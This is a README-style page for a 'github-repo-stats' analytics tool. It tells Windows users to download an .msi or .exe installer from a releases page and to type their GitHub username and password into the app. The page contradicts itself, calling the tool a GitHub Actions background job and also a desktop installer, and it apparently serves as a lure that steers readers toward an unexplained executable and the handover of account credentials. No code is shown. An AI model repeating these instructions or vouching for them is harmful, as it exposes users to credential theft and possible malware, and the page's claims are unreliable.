The github-repo-stats tool tracks analytics for public repositories. It automates data collection for projects hosted on GitHub. You get clear insights into traffic, engagement, and repository growth. This tool connects to your GitHub account and gathers data automatically. You view your statistics through a clean dashboard. This setup ensures you track changes over time without manual work.
- Automated Data Updates: The tool refreshes your analytics daily. You always see the latest numbers.
- Traffic Analysis: View page views and unique visitors for your projects.
- Growth Tracking: Compare repository stars, forks, and clones across different time periods.
- Simple Dashboard: Access a clear interface designed for quick reviews of your data.
- Low Impact: The software runs in the background using GitHub Actions. Your computer speed stays consistent.
- Operating System: Windows 10 or Windows 11.
- Internet: An active connection to download updates and sync stats.
- GitHub Account: A personal account to authorize data access.
- Memory: 4GB of RAM is sufficient for this application.
Follow these steps to set up the software on your Windows computer.
- Visit the releases page to download the installer.
- Select the file ending in
.msior.exeintended for Windows. - Save the file to your computer.
- Locate the file in your downloads folder.
- Double-click the file to start the installation.
- Follow the on-screen prompts to complete the process.
- Click the Finish button when the installer ends.
- Open the application from your Start menu or desktop shortcut.
- The software asks for your GitHub credentials. Enter your username and password.
- Grant permission to access your public repository data.
- The dashboard displays the initial report based on your repository history.
- Select a specific repository from the list on the left side of the screen.
- Use the date range selector to narrow down the time period.
- Export your data to a spreadsheet if you need to perform additional analysis.
The application limits its scope to public repository data. It does not access private files or sensitive personal messages. You control the connection at all times. You can revoke access through your GitHub settings dashboard. The tool logs data locally on your device for your reference. It sends only necessary requests to GitHub to pull your statistics.
Does the tool slow down my GitHub repository? No. The tool reads your public repository statistics. It does not alter your code or repository settings.
How do I refresh the data manually? Click the Refresh button found in the top right corner of the dashboard. This triggers a new fetch of your recent statistics.
Can I track multiple GitHub users? The tool focuses on the repositories associated with the account you use to sign in. You can log out and log in with a different account to track other repositories.
Does this require technical knowledge? No. The interface guides you through the setup. You do not need to write code or configure command-line tools.
- Application does not open: Ensure your Windows operating system is fully updated. Restart your computer and try launching the file again.
- Dashboard shows no data: Re-authenticate your GitHub account. Check your internet connection. Confirm that you have at least one public repository on your account.
- Login fails: Ensure your username and password are correct. Check if you have enabled two-factor authentication on GitHub, as you may need a personal access token for access.
The dashboard uses standard metrics to help you understand project health.
- Stars: This number shows how many people find your work useful or interesting.
- Forks: This count tells you how many people are using your project as a base for their own work.
- Clones: This metric tracks how often people download the repository code to their local machines.
- Views: This represents the number of unique user visits to your repository page.
Consistent monitoring helps you understand when your project gains traction. You identify trends by looking at the charts provided in the dashboard. Use this information to support your open-source projects or professional portfolio.